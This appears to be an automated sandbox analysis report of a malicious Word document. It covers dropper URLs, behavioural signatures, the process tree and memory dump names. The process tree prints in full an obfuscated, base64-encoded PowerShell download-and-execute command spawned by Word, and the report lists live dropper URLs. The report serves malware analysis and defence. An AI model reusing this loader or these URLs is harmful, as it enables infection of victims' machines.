Analysis
- max time kernel
144s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
02/05/2024, 10:50
General
- Target 0e4a6ac07cfa8ad2f64982f25098370b_JaffaCakes118.doc
- Size 251KB
- Sample240502-mxrjasfc4z
- SHA256 077c0a643c4cb98dc959c64cb4a90a5ff304fba0d9c2dd5e9b96a30b606efad1
Malware Config
Extracted
-
ps1
-
exe.dropper
http://hoagietesting10.com/wp-content/SJ/
-
exe.dropper
http://iscamenabe.com/wp-content/1PR/
-
exe.dropper
http://vietmade.org/wp-admin/8/
-
exe.dropper
http://www.filamchimovies.com/wp-admin/8/
-
exe.dropper
https://strattonmobile.com/wp-content/yl/
-
exe.dropper
https://blog.qgdxzs.com/wp-admin/I/
-
exe.dropper
http://vietsex.pro/wp-content/PX/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 5 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0e4a6ac07cfa8ad2f64982f25098370b_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABUADkAXwBvAGUAeQA2AD0AKAAoACcAQgAnACsAJwBsAGgAJwApACsAJwBnAHoAJwArACcANABvACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBzAEUAcgBQAFIATwBmAEkATABFAFwAcQA3AGMAVgBtAGcANQBcAGgAdgA3ADQAeAA2AEwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAEkAYABUAHkAUAByAE8AVABgAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAbAAnACsAJwBzADEAJwArACcAMQAnACkAKwAnACwAJwArACcAIAB0ACcAKwAnAGwAJwArACcAcwAnACkAOwAkAEUAOAAyADgAbABlADAAIAA9ACAAKAAoACcARQAnACsAJwBoADUAdQAnACkAKwAnAHUAJwArACgAJwBpACcAKwAnAGoAagBrACcAKQApADsAJABMADEANAB5AGEAbAB3AD0AKAAnAEUAbwAnACsAJwBlAHUAJwArACgAJwBqAF8AJwArACcAYgAnACkAKQA7ACQATABkAGwAMQBrAHoAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADkATQAnACsAJwBIAFEANwBjAHYAbQBnACcAKwAnADUAJwApACsAJwA5ACcAKwAnAE0ASAAnACsAJwBIAHYAJwArACcANwAnACsAKAAnADQAeAA2AGwAJwArACcAOQBNAEgAJwApACkALQByAEUAUABMAEEAQwBFACAAIAAoACcAOQBNACcAKwAnAEgAJwApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEUAOAAyADgAbABlADAAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAE4AYgBfAHgAdAByAGgAPQAoACgAJwBRAHEAJwArACcAYgAnACkAKwAoACcAMwB5AHMAJwArACcAeQAnACkAKQA7ACQAVgB1AHQAcAByAHEAbgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAQgBDAGwAaQBFAE4AVAA7ACQATwBzADAAbgBjAHEAMQA9ACgAJwBoACcAKwAnAHQAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAbwAnACkAKwAnAGEAZwAnACsAKAAnAGkAZQAnACsAJwB0ACcAKwAnAGUAcwB0AGkAJwApACsAJwBuAGcAJwArACcAMQAnACsAKAAnADAALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBjACcAKwAnAG8AbgB0AGUAJwArACcAbgB0AC8AUwBKACcAKwAnAC8AKgBoAHQAdABwADoALwAnACsAJwAvACcAKwAnAGkAJwArACcAcwBjAGEAJwArACcAbQBlACcAKwAnAG4AYQAnACkAKwAoACcAYgAnACsAJwBlAC4AJwArACcAYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMQAnACsAJwBQACcAKwAnAFIALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwAnACsAJwB2AGkAZQB0AG0AJwApACsAJwBhAGQAJwArACcAZQAuACcAKwAnAG8AJwArACcAcgAnACsAKAAnAGcAJwArACcALwB3ACcAKQArACcAcAAtACcAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAOAAnACkAKwAnAC8AJwArACcAKgAnACsAKAAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAHcAJwArACcAdwB3ACcAKQArACcALgAnACsAKAAnAGYAaQAnACsAJwBsAGEAJwArACcAbQBjACcAKQArACcAaAAnACsAKAAnAGkAbQAnACsAJwBvACcAKQArACgAJwB2AGkAZQBzACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQBhACcAKwAnAGQAbQBpAG4AJwApACsAKAAnAC8AOAAnACsAJwAvACoAJwArACcAaAB0AHQAcABzADoAJwApACsAKAAnAC8ALwBzACcAKwAnAHQAJwApACsAKAAnAHIAYQAnACsAJwB0AHQAJwApACsAJwBvACcAKwAnAG4AbQAnACsAJwBvACcAKwAnAGIAJwArACcAaQBsACcAKwAoACcAZQAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAoACcAdAAnACsAJwBlAG4AJwApACsAJwB0ACcAKwAnAC8AeQAnACsAKAAnAGwAJwArACcALwAqACcAKwAnAGgAdAB0AHAAcwAnACkAKwAoACcAOgAvAC8AYgAnACsAJwBsACcAKQArACcAbwBnACcAKwAnAC4AcQAnACsAKAAnAGcAZAB4AHoAJwArACcAcwAnACsAJwAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwBJACcAKwAnAC8AKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAA6ACcAKwAnAC8ALwB2AGkAJwArACcAZQB0AHMAJwApACsAKAAnAGUAeAAnACsAJwAuACcAKQArACcAcAAnACsAJwByACcAKwAoACcAbwAnACsAJwAvAHcAJwApACsAKAAnAHAAJwArACcALQBjAG8AbgAnACkAKwAnAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAFAAWAAnACsAJwAvACcAKQApAC4AIgBzAHAAYABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAYgBpAGYAYwBvAGsAPQAoACcATwBnACcAKwAoACcAeABhACcAKwAnADUAdwAnACkAKwAnADkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBlAHYAcQBxAHcANQAgAGkAbgAgACQATwBzADAAbgBjAHEAMQApAHsAdAByAHkAewAkAFYAdQB0AHAAcgBxAG4ALgAiAGQATwBgAHcAYABOAGwATwBBAGQARgBpAEwARQAiACgAJABCAGUAdgBxAHEAdwA1ACwAIAAkAEwAZABsADEAawB6AHEAKQA7ACQATgBuADEAaQBrAHgAdgA9ACgAJwBOACcAKwAoACcANgAnACsAJwBhAHYAawAnACsAJwA1ADYAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQATABkAGwAMQBrAHoAcQApAC4AIgBMAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMwAyADAAOAApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABMAGQAbAAxAGsAegBxACkAOwAkAEsAcgBpADMANwBlAGUAPQAoACcAQwAnACsAKAAnAGMAJwArACcAbQA1AGgAZQAnACsAJwBiACcAKQApADsAYgByAGUAYQBrADsAJABGAGoAbAAzAHEAcQByAD0AKAAoACcASAB4ACcAKwAnAGgAbgAnACkAKwAnADEAJwArACcAdgAyACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBrAHEAZQAxAGMAeAA9ACgAKAAnAFAAcgAnACsAJwBmAHUAagBlACcAKQArACcAbAAnACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
gb.xsl
__PSScriptPolicyTest_gyrq4ixp.m2s.ps1
memory/1320-18-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-17-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-4-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-5-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-6-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-7-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-8-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-9-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-11-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-10-0x00007FFF7D450000-0x00007FFF7D460000-memory.dmp
memory/1320-16-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-12-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-14-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-15-0x00007FFF7D450000-0x00007FFF7D460000-memory.dmp
memory/1320-20-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-19-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-3-0x00007FFFBF9ED000-0x00007FFFBF9EE000-memory.dmp
memory/1320-0-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-13-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-32-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-33-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-63-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-1-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-600-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-2-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-572-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-573-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-574-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-575-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-597-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-598-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-599-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-596-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/2304-87-0x0000027C719D0000-0x0000027C719F2000-memory.dmp